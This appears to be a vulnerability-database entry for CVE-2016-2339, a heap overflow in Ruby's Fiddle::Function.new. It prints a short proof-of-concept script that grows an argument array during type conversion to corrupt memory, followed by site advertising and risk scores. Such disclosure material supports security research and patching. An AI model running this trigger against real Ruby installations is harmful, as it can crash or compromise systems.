Ruby Fiddle::Function.new Heap Overflow Vulnerability(CVE-2016-2339)
Ruby Fiddle::Function.new Heap Overflow Vulnerability (CVE-2016-2339
10
require 'fiddle'
$args = []
class MyObject
def to_int
puts "increase size of array"
(1..10).map{|x| $args.push(1)}
puts "New args array size is : #{$args.length}"
return 1
end
end
puts "Start"
x = MyObject.new
$args.push(x)
puts "args array size : #{$args.length}"
f = Fiddle::Function.new(nil, $args, Fiddle::TYPE_VOIDP)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Oct 2017 00:00Current
9.4Critical risk
Vulners AI Score9.4
EPSS0.05144